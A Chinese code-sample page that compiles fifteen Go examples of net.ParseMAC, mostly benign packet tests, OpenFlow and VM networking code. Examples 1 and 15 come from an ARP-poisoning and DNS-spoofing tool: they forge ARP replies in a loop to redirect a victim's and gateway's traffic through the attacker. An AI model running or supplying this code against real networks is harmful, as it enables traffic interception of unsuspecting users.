本文整理汇总了Golang中net.ParseMAC函数的典型用法代码示例。如果您正苦于以下问题:Golang ParseMAC函数的具体用法?Golang ParseMAC怎么用?Golang ParseMAC使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了ParseMAC函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Golang代码示例。
示例1: main
func main() {
if os.Geteuid() != 0 {
fmt.Println("gogospoofdns requires root!")
return
}
var dev string = "eno1"
fmt.Println("Running arp poison")
routerMac, err := net.ParseMAC("00:1A:6D:38:15:FF")
routerIP := net.IP{192, 168, 0, 100}
localMac, err := net.ParseMAC("98:90:96:D5:84:7B")
localIP := net.IP{192, 168, 0, 9}
victimMac, err := net.ParseMAC("98:90:96:DC:fB:6A")
victimIP := net.IP{192, 168, 0, 10}
/********* end parse all IP's and MAC's relevent for poisoning / spoofing *********/
if err != nil {
fmt.Println(err)
os.Exit(1)
}
go arpPoison(dev, routerMac, routerIP, localMac, localIP, victimMac, victimIP)
fmt.Println("Running spoofer")
spoof(dev)
}
示例2: ParseParams
// Parsing Base64 encode client IP and Mac
func ParseParams(params string) (clientIp pgx.NullString, ipV4 bool, clientMac pgx.NullString) {
ipV4 = false
clientIp = pgx.NullString{Valid: false}
clientMac = pgx.NullString{Valid: false}
b, err := base64.StdEncoding.DecodeString(params)
if err != nil {
// fmt.Println(err.Error())
umac, err := net.ParseMAC(params)
if err == nil {
clientMac = pgx.NullString{String: umac.String(), Valid: true}
}
return clientIp, ipV4, clientMac
}
s := strings.SplitN(string(b), "|", 2)
if len(s) != 2 {
return clientIp, ipV4, clientMac
}
clientIp, ipV4 = GetIP(s[0])
umac, err := net.ParseMAC(s[1])
if err == nil {
clientMac = pgx.NullString{String: umac.String(), Valid: true}
}
return clientIp, ipV4, clientMac
}
示例3: TestPackEthIPv4UDPRaw
func TestPackEthIPv4UDPRaw(t *testing.T) {
eth_pkt := eth.Make()
eth_pkt.SrcAddr, _ = net.ParseMAC(hwsrc_str)
eth_pkt.DstAddr, _ = net.ParseMAC(hwdst_str)
ip4_pkt := ipv4.Make()
ip4_pkt.SrcAddr = net.ParseIP(ipsrc_str)
ip4_pkt.DstAddr = net.ParseIP(ipdst_str)
udp_pkt := udp.Make()
udp_pkt.SrcPort = 41562
udp_pkt.DstPort = 8338
raw_pkt := raw.Make()
raw_pkt.Data = []byte("fdg agfh ldfhgk hfdkgh kfjdhsg kshfdgk")
data, err := layers.Pack(eth_pkt, ip4_pkt, udp_pkt, raw_pkt)
if err != nil {
t.Fatalf("Error packing: %s", err)
}
if ip4_pkt.GetLength() != 66 {
t.Fatalf("IPv4 length mismatch: %d", ip4_pkt.GetLength())
}
if udp_pkt.GetLength() != 46 {
t.Fatalf("UDP length mismatch: %d", udp_pkt.GetLength())
}
if !bytes.Equal(test_eth_ipv4_udp_raw, data) {
t.Fatalf("Raw packet mismatch: %x", data)
}
}
示例4: TestPackEthIPv4TCPRaw
func TestPackEthIPv4TCPRaw(t *testing.T) {
eth_pkt := eth.Make()
eth_pkt.SrcAddr, _ = net.ParseMAC(hwsrc_str)
eth_pkt.DstAddr, _ = net.ParseMAC(hwdst_str)
ip4_pkt := ipv4.Make()
ip4_pkt.SrcAddr = net.ParseIP(ipsrc_str)
ip4_pkt.DstAddr = net.ParseIP(ipdst_str)
tcp_pkt := tcp.Make()
tcp_pkt.SrcPort = 41562
tcp_pkt.DstPort = 8338
tcp_pkt.Flags = tcp.Syn
tcp_pkt.WindowSize = 8192
raw_pkt := raw.Make()
raw_pkt.Data = []byte("fdg agfh ldfhgk hfdkgh kfjdhsg kshfdgk")
data, err := layers.Pack(eth_pkt, ip4_pkt, tcp_pkt, raw_pkt)
if err != nil {
t.Fatalf("Error packing: %s", err)
}
if ip4_pkt.GetLength() != 78 {
t.Fatalf("IPv4 length mismatch: %d", ip4_pkt.GetLength())
}
if tcp_pkt.GetLength() != 58 {
t.Fatalf("TCP length mismatch: %d", tcp_pkt.GetLength())
}
if !bytes.Equal(test_eth_ipv4_tcp_raw, data) {
t.Fatalf("Raw packet mismatch: %x", data)
}
}
示例5: BuildGarpPkt
// BuildGarpPkt builds a Gratuitous ARP packet
func BuildGarpPkt(ip net.IP, mac net.HardwareAddr, vlanID uint16) *openflow13.PacketOut {
zMac, _ := net.ParseMAC("00:00:00:00:00:00")
bMac, _ := net.ParseMAC("FF:FF:FF:FF:FF:FF")
garpPkt, _ := protocol.NewARP(protocol.Type_Request)
garpPkt.HWSrc = mac
garpPkt.IPSrc = ip
garpPkt.HWDst = zMac
garpPkt.IPDst = ip
// Build the ethernet packet
ethPkt := protocol.NewEthernet()
ethPkt.VLANID.VID = vlanID
ethPkt.HWDst = bMac
ethPkt.HWSrc = mac
ethPkt.Ethertype = 0x0806
ethPkt.Data = garpPkt
// Construct Packet out
pktOut := openflow13.NewPacketOut()
pktOut.Data = ethPkt
return pktOut
}
示例6: injectArpReq
// injectArpReq injects an ARP request into ofnet
func injectArpReq(ofa *OfnetAgent, inPort, vlan int, macSrc, macDst, ipSrc, ipDst string) error {
if macDst == "" {
macDst = "ff:ff:ff:ff:ff:ff"
}
// inject an ARP request from ep1 for ep2
arpReq := openflow13.NewPacketIn()
arpReq.Match.Type = openflow13.MatchType_OXM
arpReq.Match.AddField(*openflow13.NewInPortField(uint32(inPort)))
arpReq.Data = *protocol.NewEthernet()
arpReq.Data.Ethertype = protocol.ARP_MSG
arpReq.Data.HWDst, _ = net.ParseMAC(macDst)
arpReq.Data.HWSrc, _ = net.ParseMAC(macSrc)
if vlan != 0 {
arpReq.Data.VLANID.VID = uint16(vlan)
}
arpPkt, _ := protocol.NewARP(protocol.Type_Request)
arpPkt.HWSrc, _ = net.ParseMAC(macSrc)
arpPkt.IPSrc = net.ParseIP(ipSrc)
arpPkt.HWDst, _ = net.ParseMAC("00:00:00:00:00:00")
arpPkt.IPDst = net.ParseIP(ipDst)
arpReq.Data.Data = arpPkt
pkt := ofctrl.PacketIn(*arpReq)
ofa.PacketRcvd(ofa.ofSwitch, &pkt)
log.Debugf("Injected ARP request: %+v\n Packet: %+v", arpPkt, arpReq)
return nil
}
示例7: TestEthUnmarshalBinary
func TestEthUnmarshalBinary(t *testing.T) {
b := " 00 " + // Delim
"0a b0 0c 0d e0 0f " + // HWDst
"00 00 00 00 00 ff " + // HWSrc
"88 00 " // Ethertype
b = strings.Replace(b, " ", "", -1)
byte, _ := hex.DecodeString(b)
t.Log("Decoded hex string")
a := New() // Ensure type is set correctly
a.UnmarshalBinary(byte)
t.Log("Unmarshaled binary")
dst, _ := net.ParseMAC("0a:b0:0c:0d:e0:0f")
src, _ := net.ParseMAC("00:00:00:00:00:ff")
if int(a.Len()) != (len(byte) - 1) {
t.Errorf("Got length of %d, expected %d.", a.Len(), (len(byte) - 1))
} else if a.Ethertype != 0x8800 {
t.Errorf("Got type %d, expected %d.", a.Ethertype, 0x0880)
} else if bytes.Compare(a.HWDst, dst) != 0 {
t.Log("Exp:", dst)
t.Log("Rec:", a.HWDst)
t.Errorf("Received length of %d, expected %d", len(a.HWDst), len(dst))
} else if bytes.Compare(a.HWSrc, src) != 0 {
t.Log("Exp:", src)
t.Log("Rec:", a.HWSrc)
t.Errorf("Received length of %d, expected %d", len(a.HWSrc), len(src))
}
}
示例8: TestWriteFrame
func TestWriteFrame(t *testing.T) {
var (
ifce *net.Interface
err error
d Dev
)
if ifce, err = net.InterfaceByName(*dev); err != nil {
t.Fatalf("getting interface error: %v", err)
}
d, err = NewDev(ifce, nil)
if err != nil {
t.Fatal(err)
}
dst, err := net.ParseMAC("ff:ff:ff:ff:ff:ff")
if err != nil {
t.Fatal(err)
}
src, err := net.ParseMAC("12:34:56:78:9a:bc")
if err != nil {
t.Fatal(err)
}
var frame ethernet.Frame
w := func() (err error) {
(&frame).Prepare(dst, src, ethernet.NotTagged, ethernet.WSMP, 13)
copy(frame.Payload(), "Hello, World!")
err = d.Write(frame)
if err != nil {
return
}
return
}
for i := 0; i < 16; i++ {
if nil != w() {
t.Fatal(err)
}
}
(&frame).Resize(d.Interface().MTU)
if err = d.Write(frame); err != nil {
t.Fatalf("writing frame with payload size equal to MTU fails: %v", err)
}
(&frame).Resize(d.Interface().MTU + 1)
if nil == d.Write(frame) {
t.Fatalf("writing frame with payload larger than MTU does not fail")
}
err = d.Close()
if err != nil {
t.Fatal(err)
}
if err = w(); nil == err {
t.Fatal("closed Dev can still write")
}
}
示例9: initFgraph
// initialize Fgraph on the switch
func (self *Vlrouter) initFgraph() error {
sw := self.ofSwitch
// Create all tables
self.inputTable = sw.DefaultTable()
self.vlanTable, _ = sw.NewTable(VLAN_TBL_ID)
self.ipTable, _ = sw.NewTable(IP_TBL_ID)
//Create all drop entries
// Drop mcast source mac
bcastMac, _ := net.ParseMAC("01:00:00:00:00:00")
bcastSrcFlow, _ := self.inputTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MATCH_PRIORITY,
MacSa: &bcastMac,
MacSaMask: &bcastMac,
})
bcastSrcFlow.Next(sw.DropAction())
// Redirect ARP packets to controller
arpFlow, _ := self.inputTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MATCH_PRIORITY,
Ethertype: 0x0806,
})
arpFlow.Next(sw.SendToController())
//All ARP replies will need IP table lookup
Mac, _ := net.ParseMAC("00:00:11:11:11:11")
arpFlow, _ = self.inputTable.NewFlow(ofctrl.FlowMatch{
Priority: 300,
Ethertype: 0x0806,
MacSa: &Mac,
})
arpFlow.Next(self.ipTable)
// Send all valid packets to vlan table
// This is installed at lower priority so that all packets that miss above
// flows will match entry
validPktFlow, _ := self.inputTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MISS_PRIORITY,
})
validPktFlow.Next(self.vlanTable)
// Drop all packets that miss Vlan lookup
vlanMissFlow, _ := self.vlanTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MISS_PRIORITY,
})
vlanMissFlow.Next(sw.DropAction())
// Drop all packets that miss IP lookup
ipMissFlow, _ := self.ipTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MISS_PRIORITY,
})
ipMissFlow.Next(sw.DropAction())
return nil
}
示例10: MakeTestSimple
func MakeTestSimple() *eth.Packet {
hwsrc, _ := net.ParseMAC(hwsrc_str)
hwdst, _ := net.ParseMAC(hwdst_str)
return ð.Packet{
SrcAddr: hwsrc,
DstAddr: hwdst,
Type: eth.IPv4,
}
}
示例11: Hash
func (fl *FlowLayer) Hash() []byte {
if fl == nil {
return []byte{}
}
if fl.Protocol == FlowProtocol_ETHERNET {
amac, err := net.ParseMAC(fl.A)
if err != nil {
panic(err)
}
bmac, err := net.ParseMAC(fl.B)
if err != nil {
panic(err)
}
return HashFromValues(amac, bmac)
}
if fl.Protocol == FlowProtocol_IPV4 || fl.Protocol == FlowProtocol_IPV6 {
aip := net.ParseIP(fl.A)
bip := net.ParseIP(fl.B)
return HashFromValues(aip, bip)
}
if fl.Protocol == FlowProtocol_TCPPORT {
aTCPPort, err := strconv.ParseUint(fl.A, 10, 16)
if err != nil {
panic(err)
}
bTCPPort, err := strconv.ParseUint(fl.B, 10, 16)
if err != nil {
panic(err)
}
return HashFromValues(layers.TCPPort(aTCPPort), layers.TCPPort(bTCPPort))
}
if fl.Protocol == FlowProtocol_UDPPORT {
aUDPPort, err := strconv.ParseUint(fl.A, 10, 16)
if err != nil {
panic(err)
}
bUDPPort, err := strconv.ParseUint(fl.B, 10, 16)
if err != nil {
panic(err)
}
return HashFromValues(layers.UDPPort(aUDPPort), layers.UDPPort(bUDPPort))
}
if fl.Protocol == FlowProtocol_SCTPPORT {
aSCTPPort, err := strconv.ParseUint(fl.A, 10, 16)
if err != nil {
panic(err)
}
bSCTPPort, err := strconv.ParseUint(fl.B, 10, 16)
if err != nil {
panic(err)
}
return HashFromValues(layers.SCTPPort(aSCTPPort), layers.SCTPPort(bSCTPPort))
}
return nil
}
示例12: main
func main() {
log.SetFlags(0)
usage := `Usage: arp <addr>
Resolve the given IP address using ARP.`
args, err := docopt.Parse(usage, nil, true, "", false)
if err != nil {
log.Fatalf("Invalid arguments: %s", err)
}
addr := args["<addr>"].(string)
addr_ip := net.ParseIP(addr)
timeout := 5 * time.Second
route, err := routing.RouteTo(addr_ip)
if err != nil {
log.Fatalf("Error: %s", err)
}
if route == nil {
log.Println("No route found")
}
c, err := pcap.Open(route.Iface.Name)
if err != nil {
log.Fatalf("Error opening interface: %s", err)
}
defer c.Close()
err = c.Activate()
if err != nil {
log.Fatalf("Error activating source: %s", err)
}
eth_pkt := eth.Make()
eth_pkt.SrcAddr = route.Iface.HardwareAddr
eth_pkt.DstAddr, _ = net.ParseMAC("ff:ff:ff:ff:ff:ff")
arp_pkt := arp.Make()
arp_pkt.HWSrcAddr = route.Iface.HardwareAddr
arp_pkt.HWDstAddr, _ = net.ParseMAC("00:00:00:00:00:00")
arp_pkt.ProtoSrcAddr, _ = route.GetIfaceIPv4Addr()
arp_pkt.ProtoDstAddr = addr_ip
pkt, err := network.SendRecv(c, timeout, eth_pkt, arp_pkt)
if err != nil {
log.Fatal(err)
}
log.Println(pkt.Payload().(*arp.Packet).HWSrcAddr)
}
示例13: TestIsUniqueFunction
func TestIsUniqueFunction(t *testing.T) {
assert := assert.New(t)
uniqueMac, err := net.ParseMAC("ca:cf:1a:8b:9b:d5")
assert.Nil(err)
assert.False(isUnique(uniqueMac))
nonuniqueMac, err := net.ParseMAC("00:00:00:ea:95:ee")
assert.Nil(err)
assert.True(isUnique(nonuniqueMac))
}
示例14: NetworkAdapters
// NetworkAdapters lists current network adapters attached to the virtual
// machine.
func (v *VM) NetworkAdapters() ([]*NetworkAdapter, error) {
vmxPath, err := v.VmxPath()
if err != nil {
return nil, err
}
vmx, err := readVmx(vmxPath)
if err != nil {
return nil, err
}
var adapters []*NetworkAdapter
// VMX ethernet adapters seem to not be zero based
for i := 1; i <= v.totalNetworkAdapters(vmx); i++ {
id := strconv.Itoa(i)
prefix := "ethernet" + id
if vmx[prefix+".present"] == "FALSE" {
continue
}
wakeOnPckRcv, _ := strconv.ParseBool(vmx[prefix+".wakeOnPcktRcv"])
lnkStateProp, _ := strconv.ParseBool(vmx[prefix+".linkStatePropagation.enable"])
present, _ := strconv.ParseBool(vmx[prefix+".present"])
startConnected, _ := strconv.ParseBool(vmx[prefix+".startConnected"])
address, _ := net.ParseMAC(vmx[prefix+".address"])
genAddress, _ := net.ParseMAC(vmx[prefix+".generatedAddress"])
vswitch, _ := GetVSwitch(vmx[prefix+".vnet"])
adapter := &NetworkAdapter{
ID: id,
present: present,
ConnType: NetworkType(vmx[prefix+".connectionType"]),
Vdevice: VNetDevice(vmx[prefix+".virtualDev"]),
WakeOnPcktRcv: wakeOnPckRcv,
LinkStatePropagation: lnkStateProp,
MacAddrType: MacAddressType(vmx[prefix+".addressType"]),
MacAddress: address,
VSwitch: vswitch,
StartConnected: startConnected,
GeneratedMacAddress: genAddress,
GeneratedMacAddressOffset: vmx[prefix+".generatedAddressOffset"],
PciSlotNumber: vmx[prefix+".pciSlotNumber"],
}
adapters = append(adapters, adapter)
}
return adapters, nil
}
示例15: arpPoison
/*
FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){
RETURNS: Nothing
ARGUMENTS:
string targetMAC - the victim mac address for spoofing
string gateway - the gateway IP the victim uses
string gatewayMAC - the mac address of the gateway the vicitim uses
ABOUT:
Performs arp poisoning of the target machine. Sets its traffic to all come
through the host machine, and sets the gateway to redirect its traffic for the victim to this host.
*/
func arpPoison(targetMAC, gateway, gatewayMAC string) {
// i lost my mind over this, the parseip function is broke and adds a bucket of worthless
// bytes to the beginning of the array, I wish I did this in C
// I GUESS I DID C
gw := (net.ParseIP(gateway))[12:]
tg := (net.ParseIP(target))[12:]
tgm, _ := net.ParseMAC(targetMAC)
gwm, _ := net.ParseMAC(gatewayMAC)
fmt.Print("========================")
fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC)
fmt.Print("========================")
ethernetPacket := layers.Ethernet{}
ethernetPacket.DstMAC = tgm
ethernetPacket.SrcMAC = macAddr
ethernetPacket.EthernetType = layers.EthernetTypeARP
arpPacket := layers.ARP{}
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.Protocol = 0x0800
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
//poison the target
arpPacket.SourceHwAddress = macAddr
arpPacket.SourceProtAddress = gw
arpPacket.DstHwAddress = tgm
arpPacket.DstProtAddress = tg
gwEthernetPacket := ethernetPacket
gwARPPacket := arpPacket
//poison the gateway
gwARPPacket.SourceProtAddress = tg
gwARPPacket.DstHwAddress = gwm
gwARPPacket.DstProtAddress = gw
for {
//poison target
writePoison(arpPacket, ethernetPacket)
time.Sleep(1 * time.Second)
//poison gateway
writePoison(gwARPPacket, gwEthernetPacket)
time.Sleep(5 * time.Second)
}
}